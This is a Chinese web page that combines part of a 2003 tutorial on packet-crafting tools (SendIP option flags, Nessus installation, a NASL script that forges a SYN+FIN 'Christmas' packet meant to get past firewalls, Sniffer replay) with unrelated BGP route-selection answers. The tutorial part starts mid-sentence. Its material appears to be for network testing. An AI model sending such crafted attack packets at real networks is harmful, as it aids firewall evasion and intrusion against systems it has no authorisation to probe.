-iorr0f:ff.ff.ff.ff:10.0.0.234 –ioeol,其中iorr 表示记录路由,此时系统会自动将IP 选项号置为07,0f 表示指针,即记录的最后一个IP 地址的指针,系统会自动运算该IP 选项的长度)TS -iots 791 0 2 4 68 variableUsed to record the time at which apacket was processed by anintermediate systemLSR -iolsr 791 1 0 3 131 vairableLoose Source Route - let thesource specify the route for apacket.SID -iosid 791 1 0 8 136 4Rarely used, carries the SATNETstream identifier.SSR -iossr 791 1 0 9 137 variableStrict Source Route - same as LSR,but extra hops are not allowed.SEC791,11081 0 2 130 variable Security, rarely usedE-SEC 1108 1 0 5 133 variable Extended Security, rarely used通常在SENDIP 中指定IP 选项时,格式比较特别,下面我们以RR 记录路由选项为例介绍一下,如果要发送一个记录三个IP 的数据包,需要考虑如下,一是指定IP 头的长度要包括IP 选项的长度,而是要指定RR 记录路由选项的指针位置和IP 地址(本来是由系统自动记录IP 和更新指针位置,但现在必须手工指定),那么记录三个IP 包后,指针的位置应是3+4×3+1=16,造好后,数据包的格式应该如下:IP 头07 15 16 10.0.0.234(IP1) 20.0.0.234(IP2) 30.0.0.234(IP3) 00(ioeol) tcp20B RR len ptr 4bytes 4bytes 4bytes Ptr具体命令行如下:#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234–ioeol –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1-ih 10 表示IP 头的长度为10×4 为40 个字节,去除标准的20 个字节长度,为IP选项预留为20 个字节-iorr 10:10.0.0.234:20.0.0.234:30.0.0.234 中第一个10 表示用16 进制表示的指针的位置,后面为用冒号分隔的三个用点分十进制表示的IP 地址-ioeol 表示用00 结束IP 选项,并用随机数填充后面未用的IP 头位置以上部分只是以RR 记录路由IP 选项为例,介绍了sendip 中指定IP 选项的方法,当然也可以根据自己的要求发送IP 选项不符合常规的数据包。其他的IP 选项与此雷同,但发送AntPower 版权所有© 2003 技术文章http://www.antpower.org第7 页共14 页前需要详细了解IP 选项的格式,才可正确发送。TCP 数据包的格式:根据TCP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的TCP 数据包中参数的值。Field nameSize(bits)SendIPoptionDescriptionSource port 16 -tsSource port number for the connection(以十进制的方式指定TCP 原端口)Destination port 16 -tdDestination port number(以十进制的方式指定TCP 目的端口)Sequence number 32 -tnNumber of the first data octet in this packet. If SYN bit isset, this is the number of the first data octet of the streamtoo.(指定TCP 序列号,如果不指定则随机产生)Acknowledgmentnumber32 -taIf ACK bit is set, the next sequence number the sender isexpecting to receive.Data offset 4 -ttLength of TCP header in 32 bit words(指定TCP 头的长度,单位是以32bits 也就是4 字节为单位)Reserved 4 -trShould be 0. Note, rfc793 defines this as a 6 bit field, butthe last 2 are used by rfc2481 for ECN as below.Flags: ECN 1 -tfeFlags: CWR 1 -tfcECN extension flags, see rfc2481. (指定TCP 标志位,如果要打开哪一位,就在命令行参数中指定相应位的值,如要设置SYN 状态,只需在命令行加入-tfs 1 即可)Flags: URG 1 -tfu Urgent pointer is significant(同上)Flags: ACK 1 -tfa Acknowledgment field is significant(同上)Flags: PSH 1 -tfp Push function(同上)Flags: RST 1 -tfr Reset the connection(同上)Flags: SYN 1 -tfs Synchronize sequence numbers(同上)AntPower 版权所有© 2003 技术文章http://www.antpower.org第8 页共14 页Flags: FIN 1 -tff No more data from sender(同上)Window 16 -twNumber of octet starting from the one in theAcknowledgement field that the sender is willing toacceptChecksum 16 -tcChecksum of the TCP header (with checksum set to 0),data, and a psuedo-header including the source anddestination IP addresses, IP protocol field and a 16 bitlength of the TCP header and data.Urgent pointer 16 -tuIf URG bit is set, tHe offset of the last octet of urgent datain this packet.Options Variable -to...No options are required. Any number can be added. Seebelow for details.如果有TCP 选项,还可指定TCP 选项的值,SENDIP 支持的TCP 选项如下表所示。NameSendIPoptionRFC TypeLength (0notpresent)DescriptionEOL -toeol 793 0 0Used as padding if needed(用00 填充,表示TCP选项结束,把TCP 头后面的位置用随机数填充)NOP -tonop 793 1 0Do nothing. Often used as padding so the nextoption starts on a 32 bit boundaryMSS -tomss 793 2 4Specify the maximum recieve segment size of thesender as a 16 bit number. Only valid when SYN isalso setWSOPT -towscale 1323 3 3The window size should be leftshifted by the valueof the option (an 8 bit number). Only valid whenSYN is also set.SACKOK -tosackok 2018 4 2Selective Acknowledgement is permitted on thisconnectionSACK -tosack 2018 5 variableSelective Acknowledgement of non-contiguousblocks of data. The data in the option is a series of(left edge)-(right edge) pairs giving, respectively,the first sequence number the has been recieved andthe first that hasn't.TSOPT -tots 1323 8 10Timestamp. The first 4 bytes (TSval) are the timethat the packet was sent, the remaining 4 (TSecr)echo the TSval of a packet that was recieved. TSecris only valid when the ACK bit is set.从上表所示,可以看出,TCP 选项可能只有一个单字节参数,如-toeol 和-tonop,也可能由一个Type 号和一个length 长度以及该length 长度指定的字节数的数据组成的参数,使用时sendip 会自动运算length 的长度,所以,不能随意设定TCP 选项的长度,但需要设定TCP 选项的值。AntPower 版权所有© 2003 技术文章http://www.antpower.org第9 页共14 页在设定TCP 选项时,同样要考虑到TCP 头的长度要包括TCP 选项的长度。TCP 选项数据包的格式大致如下:Kind=3 Len=3 数据:移位数TCP 选项号TCP 选项长度TCP 选项数据占一个字节,总长度为三个字节具体命令行格式可参照如下格式:#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234–ioeol –p tcp –ts 1379 –td 23 –tt 8 –tfa 0 –tfs 1 –towscale 0 –toeol 30.0.0.1-towscale 0 :指设置TCP 选项3,长度为自动3,TCP 选项的值即移位数为0-toeol :表示TCP 选项结束,后面用随机数填满TCP 头因为用SENDIP 设定TCP 选项时,不能设定长度,所以,如果要设定长度不正确的包,还要借助其他工具,如SNIFFER,用SNIFFER 抓到SENDIP 发送的包后,再将对应的TCP选项的长度改为不规则的值即可。根据前面介绍的内容,我们已经基本可以掌握用SENDIP 发送各种协议数据包的方法,当然我们还可以利用他发送各种不符合标准的数据包,如校验和错误、长度不正确、状态位不正确等各种我们需要的数据包,在使用时,建议与SNIFFER 搭配使用,以验证SENDIP发出的包是否正确,进行有针对性的测试。2.2. NESSUS 工具NESSUS 是一个非常庞大的工具,它可以提供功能完善的安全扫描服务,还可以提供全面的发包功能,用以构造各种格式的网络通信包。本篇只关注NESSUS 的发包功能。NESSUS 由两个部分组成,一部分是服务器,通常运行在POSIX 系统如LINUX/UNIX系统中,负责扫描和攻击,并收集数据,另一部分是客户端,可以运行在LINUX/UNIX 系统或WINDOWS 系统中,负责接收和显示数据。如果只是用来发包,则只需要服务端即可。NESSUS 有专门的维护网站,可以随时到http://www.nessus.org网站下载最新的源代码,并获得全面的帮助。目前,NESSUS 最新的版本为2.0.8a。2.2.1. NESSUS 安装方法安装NESSUS 前要知道NESSUS 可能需要的支撑软件包,一个是GTK,通常POSIX系统下的NESSUS 客户端需要GTK,如果你的系统安装了GTK,则必须确保安装了gtk-config 程序,可到ftp://ftp.gimp.org/pub/gtk/v1.2 网站下载最新的GTK 程序,如果只在LINUX/UNIX 系统下安装服务端,则可以不需要GTK 包;另一个是OPENSSL 包,如果希望客户端和服务端的通信采用SSL 方式,则需要OPENSSL 包,可到http://www.openssl.org/下载最新的OPENSSL 包,OPENSSL 包是可选的。NESSUS 有三种安装方法:第一种是利用LINUX 下的LYNX 工具直接从网上安装,这种方法很容易,但安全性低,在此不予详细介绍,可到NESSUS 网站上获取相关信息。第二种方法是使用NESSUS 提供的nessus-installer.sh 工具,直接安装,这种方法简单且安全性比较高。第三种方法是获取源码包,然后分别编译再进行安装。下面分别介绍第二种和第三种方法。AntPower 版权所有© 2003 技术文章http://www.antpower.org第10 页共14 页2.2.1.1. 采用nessus-installer.sh 方式安装从NESSUS 网站下载最新的nessus-installer.sh 文件到本地LINUX 目录,然后执行#sh nessus-installer.sh系统会自动安装NESSUS 到你的系统中,中间会需要你提供相关的提示信息,一直按回车即可。2.2.1.2. 采用源码包方式安装如果采用源码包方式进行安装,需要下载四个软件包,并按顺序进行安装。四个软件包分别如下:nessus-librarieslibnaslnessus-corenessus-plugins安装时必须按顺序安装这四个软件包。安装前,我们必须获得上面所说的四个软件包,目前版本为2.0.8a:nessus-libraries-x.x.tar.gzlibnasl-x.x.tar.gznessus-core.x.x.tar.gznessus-plugins.x.x.tar.gz然后开始进行安装。1. 安装nessus-libraries#tar –xzvf nessus-libraries-x.x.tar.gz#cd nessus-libraries-x.x#./configure#make#make install2. 安装libnasl-x.x.tar.gz (执行与上面相同的操作)3. 安装nessus-core.x.x.tar.gz(执行与上面相同的操作)4. 安装nessus-plugins.x.x.tar.gz (执行与上面相同的操作)5. 如果使用的是LINUX 系统,必须确保/usr/local/lib 路径在/etc/ld.so.conf 文件中,如果是SOLARIS 系统, 必须执行export LD_LIBRARY_PATH=$LD_LIBRARY_PATH :/usr/local/lib 命令。6. 执行ldconfig 命令7. 如果不想或不能使用GTK 的客户端,可强制使用命令行方式,这时,在执行第三步编译nessus-core 时,可以使用如下命令:#tar –xzvf nessus-libraries-x.x.tar.gz#cd nessus-libraries-x.x#./configure --disable-gtk#make#make installAntPower 版权所有© 2003 技术文章http://www.antpower.org第11 页共14 页执行以上命令后,NESSUS 就已经安装在您的系统中了。2.2.2. NESSUS 的发包方法NESSUS 通常采用脚本方式控制发出的包,下面我们以发送圣诞老人攻击包为例,来介绍如何利用NESSUS 发送数据包。圣诞老人包是通过发送TCP Flag 中同时有SYN 和FIN 标志的数据包,穿透防火墙,来达到攻击的目的。为使用NESSUS 发送攻击包,首先要定义一个脚本,在LINUX 下,执行vi sendp 命令,输入如下内容:srcaddr=this_host(); 注:自动获取当前主机的IP 地址ip = forge_ip_packet( ip_v : 4, 注:IP 协议版本为IPV4ip_hl : 5, 注:IP 头的长度为5×4=20 字节ip_tos : 0,ip_len : 40, 注:在这里输入实际的长度40,因为IP 头和TCP 头都为20ip_id : 0xABA,ip_p : IPPROTO_TCP, 注:内部数据包协议为TCPip_ttl : 255,ip_off : 0,ip_src : srcaddr); 注:可在此直接输入IPport = get_host_open_port(); 注:自动获取当前主机上的可用端口if(!port)port = 139; 注:如果没有可用端口,就自动使用139 端口tcpip = forge_tcp_packet( ip : ip, 注:表示IP 层协议采用前面定义的IP 协议包th_sport : port, 注:可在这里直接输入端口th_dport : port, 注:可在这里直接输入端口th_flags : TH_SYN|TH_FIN, 注:设置TCP 状态的SYN 和FIN 标志位th_seq : 0xF1C,th_ack : 0,th_x2 : 0,th_off : 5, 注:TCP 头的长度位5×4=20 字节th_win : 512,th_urp : 0);result = send_packet(tcpip,pcap_active:FALSE);编辑完上面的脚本后,保存退出,运行如下命令:#nasl –t 目的IP 地址测试脚本如:#nasl –t 10.0.0.227 sendpAntPower 版权所有© 2003 技术文章http://www.antpower.org第12 页共14 页通过Sniffer 抓包,就会发现有相应的圣诞老人包。在我的使用过程中,发现NESSUS 好像不支持发送带有IP 或TCP 选项的包。具体发包的参数可参考http://www.nessus.org/doc/nasl.html2.3. SNIFFER 工具用SNIFFER 发包时,有两种方式,一种是直接利用Packet Generator 工具,从0 开始用16 进制的方式造一个数据包,这种方法难度较高,因为要自己算出校验和,除非需要重现在网络上抓到的一个16 进制格式的数据包,另外一种方式是利用已经抓到的数据包修改一下,再发送出去,具体实现方法分别如下。2.3.1. 利用Packet Generator 直接造包在SNIFFER 中,选择Tools|Packet Generator 菜单,系统弹出窗口如下:按图中的红色框中的按钮,系统会弹出一个构造包内容的对话框,如下所示:AntPower 版权所有© 2003 技术文章http://www.antpower.org第13 页共14 页在上图中可输入包的内容,还可规定发包的个数和包的长度。2.3.2. 利用已抓的包发包利用已抓的包进行修改,可以避免大量的运算和输入,只需要更改自己需要更改的地方,然后发出去即可。如上图所示,按包的大致要求,用其他工具造好包后,用SNIFFER 抓包,或者直接将网络上的可疑包抓过来,然后,用鼠标邮件单击该包,弹出如上图所示的快捷菜单,从中选择Send Current Frame 菜单,系统就会弹出如下图所示的发包窗口:AntPower 版权所有© 2003 技术文章http://www.antpower.org第14 页共14 页按要求更改包的内容,即可发送。需要注意的是如果更改了IP 地址或其他头中的内容,则需要更新校验和,对MAC 或选项的更改不需要更改校验和。3. 总结通过对比前面的三种发包工具,我们发现每种工具都有自己的优点和缺点,SENDIP 比较短小而且功能较齐全,比较适合在日常测试中使用,SNIFFER 发包工具最自由,可以发出任何可能的数据包,NESSUS 工具功能比较全面,但在发包方面不如SENDIP,所以,建议如果是测试需要的话,应该采用SENDIP 和SNIFFER 相结合的方式,如果同时还要使用 扫描等其他功能,可以采用NESSUS 工具。
tcpreplay linux内核自带的发包工具:pktgen

BGP路由协议原理
我大概说一下吧 BGP用于AS之间,如电信各运营商之间都是使用BGP协议。1、BGP不同于OSPF/IS-IS/RIP等协议,它是一种AS之间的路由选择协议,而OSPF/RIP等属于AS内部路由选择协议;2、BGP是用来管理路由的,本身不能发现路由,而域内路由选择协议是可以及时发现路由的,并根据不同的算法计算路由。3、BGP对路由的管理体现在:BGP有丰富的路由属性,如:下一跳、metric、优先级、团体等,通过这些属性控制路由在as内的出入。BGP的几个工作原则:1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3, 首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8, 当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11 首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻)13,首选具有最低的neighbor的IP地址 赞同0|评论
BGP的工作原理看书就行了,主要是了解BGP选路的11个规则,学好11个规则,BGP也算差不多了 1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3,首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8,当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻) 13,首选具有最低的neighbor的IP地址
BGP(Border GatewayProtocol)是一种自治系统间的动态路由发现协议,它的基本功能是在自治系统间自动交换无环路的路由信息,通过交换带有自治系统号(AS)序列属性的路径可达信息,来构造自治区域的拓扑图,从而消除路由环路并实施用户配置的路由策略。与OSPF和RIP等在自治区域内部运行的协议对应,BGP是一类EGP(ExteriorGatewayProtocol)协议,而OSPF和RIP等为IGP(InteriorGatewayProtocol)协议。BGP协议经常用于ISP之间。BGP协议从1989年以来就已经开始使用。它最早发布的三个版本分别是RFC1105(BGP-1)、RFC1163(BGP-2)和RFC1267(BGP-3),当前使用的是RFC1771(BGP-4)。随着INTERNET的飞速发展,路由表的体积也迅速增加,自治区域间路由信息的交换量越来越大,影响了网络的性能。BGP支持无类别域间选路CIDR(ClasslessInterdomainRouting),可以有效的减少日益增大的路由表。BGP-4正迅速成为事实上的Internet边界路由协议标准。特性描述如下:BGP是一种外部路由协议,与OSPF、RIP等的内部路由协议不同,其着眼点不在于发现和计算路由,而在于控制路由的传播和选择最好的路由。通过携带AS路径信息,可以彻底解决路由循环问题。 为控制路由的传播和路由选择,它为路由附带属性信息。

本文由 在线网速测试 整理编辑,转载请注明出处,原文链接:https://www.wangsu123.cn/news/319128.html。